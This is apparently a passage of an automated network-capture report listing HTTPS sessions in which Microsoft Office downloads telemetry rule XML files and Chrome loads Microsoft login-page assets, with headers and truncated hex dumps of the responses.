2024-12-05 21:17:11 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:11 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:11 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 935017b2-001e-0017-80c6-450c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211711Z-1746fd949bdfg4slhC1EWR34t0000000034000000000f40w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:11 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:11 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:11 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 715419d5-801e-0078-38c7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211711Z-1746fd949bdzd2qvhC1EWRcygw00000002y000000000pse5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:11 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:11 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:11 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 6baa9d1a-801e-0048-02ce-45f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211711Z-1746fd949bdlqd7fhC1EWR6vt000000003gg0000000037gp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:11 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:11 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:11 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 0e2e5981-501e-0035-17c1-45c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211711Z-1746fd949bdjzh7thC1EWR3g64000000038g00000000nvch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:11 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49852	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:12 UTC	404	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:12 UTC	744	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:12 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: b4c0f12b-801e-0075-57c7-45a87a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211712Z-1746fd949bd54zxghC1EWRzre400000003n0000000001a50 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:12 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-12-05 21:17:12 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49853	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:12 UTC	620	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:13 UTC	817	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:12 GMT Content-Type: application/x-javascript Content-Length: 5529 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 15 Aug 2024 17:52:54 GMT ETag: 0x8DCBD531731891C x-ms-request-id: ee235bc3-201e-001e-4c40-472f8e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211712Z-1746fd949bd9x4mhhC1EWRb76n000000036000000000ywn9 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-05 21:17:13 UTC	5529	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ad 5b 7d 77 9b 46 d6 ff 7f 3f 05 62 f7 28 b0 19 63 bb 69 9b 16 97 fa 38 7a 49 d4 da b1 6b c9 ed 66 93 1c 1d 24 46 12 31 02 ca 20 db aa a5 ef fe fc ee 0c 08 24 21 d9 e9 b3 3d a9 31 33 77 ee dc b9 73 df 2f 3e fc 77 ed 1f da bf b5 83 e7 ff a7 75 7b 67 d7 3d ed b2 ad f5 de 75 ae 9b da 15 de 3e 68 ef 2f 7b 9d 46 eb f9 78 68 53 fa bf 37 f1 85 36 f2 03 ae e1 39 70 05 f7 b4 28 d4 a2 44 f3 c3 61 94 c4 51 e2 a6 5c 68 53 fc 4c 7c 37 d0 46 49 34 d5 d2 09 d7 e2 24 fa c2 87 a9 d0 02 5f a4 58 34 e0 41 74 af 19 40 97 78 da 95 9b a4 73 ad 73 65 5a c0 cf 81 cd 1f fb 21 56 0f a3 78 8e df 27 a9 16 46 a9 3f e4 9a 1b 7a 12 5b 80 97 50 70 6d 16 7a 3c d1 ee 27 fe 70 a2 5d f8 c3 24 12 d1 28 d5 12 3e e4 fe 1d 36 11 33 8c af 6f c1 34 37 e1 9a e0 a9 36 Data Ascii: [}wF?b(ci8zIkf$F1 $!=13ws/>wu{g=u>h/{FxhS769p(DaQ\hSL\|7FI4$_X4At@xsseZ!Vx'F?z[Ppmz<'p]$(>63o476

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49854	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:12 UTC	668	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:13 UTC	761	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:12 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 24 May 2023 10:11:47 GMT ETag: 0x8DB5C3F48EC4154 x-ms-request-id: 01b5ec9e-001e-000a-1255-47584c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211712Z-1746fd949bd2cq7chC1EWRnx9g00000002xg00000000bq1k x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-05 21:17:13 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49856	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:12 UTC	433	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:13 UTC	798	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:12 GMT Content-Type: application/x-javascript Content-Length: 116365 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 15 Aug 2024 17:52:54 GMT ETag: 0x8DCBD5317046A2F x-ms-request-id: 885d0ab0-d01e-000a-1530-4067e1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211712Z-1746fd949bdkw94lhC1EWRxuz400000003dg00000000fe1r x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:13 UTC	15586	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec bd 6b 5b db 48 b6 28 fc 7d ff 0a 5b bb c7 2d b5 0b 63 19 30 44 46 78 48 42 7a 98 49 02 07 c8 f4 f4 10 4f 1e 61 97 b1 12 23 79 74 e1 d2 d8 fb b7 bf 6b ad aa 92 4a b2 0c 26 dd fb 9c 0f ef f4 d3 c1 ba 94 ea 5e eb 7e d9 fc a9 fe 5f b5 9f 6a 1b eb ff 57 3b bf 38 3c bb a8 9d bc ab 5d fc e5 f8 ec 6d ed 14 ee 7e ad 7d 3c b9 38 7e 73 b4 7e 3d d8 28 fe bb 98 f8 71 6d ec 4f 79 0d 7e af bc 98 8f 6a 61 50 0b a3 9a 1f 0c c3 68 16 46 5e c2 e3 da 0d fc 8d 7c 6f 5a 1b 47 e1 4d 2d 99 f0 da 2c 0a bf f2 61 12 d7 a6 7e 9c c0 47 57 7c 1a de d5 4c a8 2e 1a d5 4e bd 28 79 a8 1d 9f 5a 2d a8 9f 43 6d fe b5 1f c0 d7 c3 70 f6 00 d7 93 a4 16 84 89 3f e4 35 2f 18 51 6d 53 b8 09 62 5e 4b 83 11 8f 6a 77 13 7f 38 a9 7d f0 87 51 18 87 e3 a4 16 f1 21 f7 6f Data Ascii: k[H(}[-c0DFxHBzIOa#ytkJ&^~_jW;8<]m~}<8~s~=(qmOy~jaPhF^\|oZGM-,a~GW\|L.N(yZ-Cmp?5/QmSb^Kjw8}Q!o
2024-12-05 21:17:13 UTC	16384	IN	Data Raw: 72 48 0c 1b 29 1f 49 83 69 74 84 3e 47 59 80 42 9b b2 59 ca d8 88 5e 36 a7 24 f7 af 17 38 0d 53 1c 3e 97 dc 17 24 8a 0d 4a a7 01 95 4d e2 5c ba e4 61 91 1d cc fc 76 23 bb 17 d9 47 55 e3 fb 1d 24 72 d5 75 be 53 62 b7 c3 d2 4d f8 e3 e1 9f 08 fe 94 d8 cb 4c b2 60 93 73 a2 08 7c dd c2 cc 73 9f 8e 83 c4 ee be 3e 32 f9 4f b1 b5 a0 9d 4a e3 1e bb 1b c2 d1 c8 77 a3 9e bf 9f 52 28 74 4a 36 90 30 df 82 5a d0 d6 7a 03 ab 1b c3 71 f0 37 c6 a2 a7 e2 09 4c c4 d8 f5 2d 06 8f 9b b6 66 12 5d 1b ff 14 d3 96 df 40 63 44 2c e6 6f b8 f8 2d c3 e6 72 5b e7 a8 e9 1d a4 c2 f9 71 c3 23 61 49 cf 47 27 27 7f 63 23 57 e2 4e 51 f5 3a 81 a7 93 7d af 37 d1 7a d7 44 92 9b fa 37 81 4e 4d 11 fd 88 ec b6 68 ac 96 e7 17 55 b3 97 4f d5 55 ce e4 46 ae d0 47 c2 99 47 5b 6a a1 db c9 ce 2d d0 71 Data Ascii: rH)Iit>GYBY^6$8S>$JM\av#GU$ruSbML`s\|s>2OJwR(tJ60Zzq7L-f]@cD,o-r[q#aIG''c#WNQ:}7zD7NMhUOUFGG[j-q
2024-12-05 21:17:13 UTC	16384	IN	Data Raw: 29 8c 92 ca 92 96 69 33 da 9c 35 38 fc d6 d6 60 90 eb 41 a0 12 7b 42 d2 a3 7c 11 42 9b 34 a2 89 fa ac 50 54 6d 90 84 ac 5a 8e c0 f6 f8 15 ad ba d6 15 90 17 54 c3 6f b0 8f f9 f7 1b 9e 4f e9 71 33 74 f5 c0 fd e6 30 a7 21 7d a1 5d 47 f8 42 c3 4d be f3 4f 41 ba 44 02 66 76 07 a0 26 a7 28 74 99 e0 3b c9 b0 c7 62 54 65 49 f7 30 01 73 38 73 93 6f be 83 38 82 66 ee ce ce 1e 6e 0d f8 b1 f5 0c 45 5a dc 2d bb 1e b9 c6 a8 1c a5 3d e7 d3 a7 01 cc 63 fd e7 fc 53 3e 06 6a 35 fc f4 09 4b f4 c5 6e dd 03 86 b1 25 2e c8 49 20 ba c1 d7 11 55 f4 05 62 8b c7 b5 5e f7 e2 9e ef 6c 35 b7 f6 9a 6d 87 5d 61 90 56 d2 75 a6 25 9c a5 be 73 39 49 2f c2 89 c3 06 e9 f4 2e 8b 2f c7 85 ef 7c bc 0d 9f ad 6c b6 da db eb 9b ad cd ed 95 17 51 82 39 5e a0 b7 cf f0 f1 eb 15 f7 97 49 1a 67 29 5a Data Ascii: )i358`A{B\|B4PTmZToOq3t0!}]GBMOADfv&(t;bTeI0s8so8fnEZ-=cS>j5Kn%.I Ub^l5m]aVu%s9I/./\|lQ9^Ig)Z
2024-12-05 21:17:13 UTC	16384	IN	Data Raw: 43 68 1e b4 61 d1 c2 e6 08 96 6a d0 1c 75 d2 c3 bc a3 a2 68 ef 40 82 32 1c 1c 7b 39 fa ab 83 34 35 ee 0e dd d2 bd c6 a3 e3 da f3 7c fa 79 15 5c ca 3e 2f 40 6c be 3a bc e8 78 20 98 f4 2e e0 1d e4 fd 56 63 77 ca ae d9 1d 3a bf 64 68 0d bf 86 7f 8c a4 17 fe f8 eb 7d 5b d4 06 df ab e2 2b 59 bc 90 fa 71 8c 6d 52 7e a4 58 f9 fa 23 e9 ab 86 4c d4 b9 ba f0 c4 a4 6a a5 37 fb c1 26 5b c5 f2 30 9b 42 1c ab 21 ec 3a 8a cc 58 07 52 57 12 27 53 82 ac c7 c9 ad f0 1a cb f1 c6 54 45 5c 89 e4 5c bd 7e 67 7a 48 3c 46 dc 1b 4a 50 ba e3 2e 79 86 a5 3e ca 8a 99 87 ca 6b 17 98 cf 6e 0f 3e 00 68 d3 f7 f1 5f 4f 3b 19 98 1a 87 7b c1 08 f8 63 17 4f 7f ce 0c e0 45 fb 8b 27 9e ee 44 80 27 ce ab 3e 29 12 46 c4 b8 b4 78 ad c9 f6 06 5c b6 37 22 bf 58 45 07 fb 68 b5 36 b5 cb 52 b6 2d 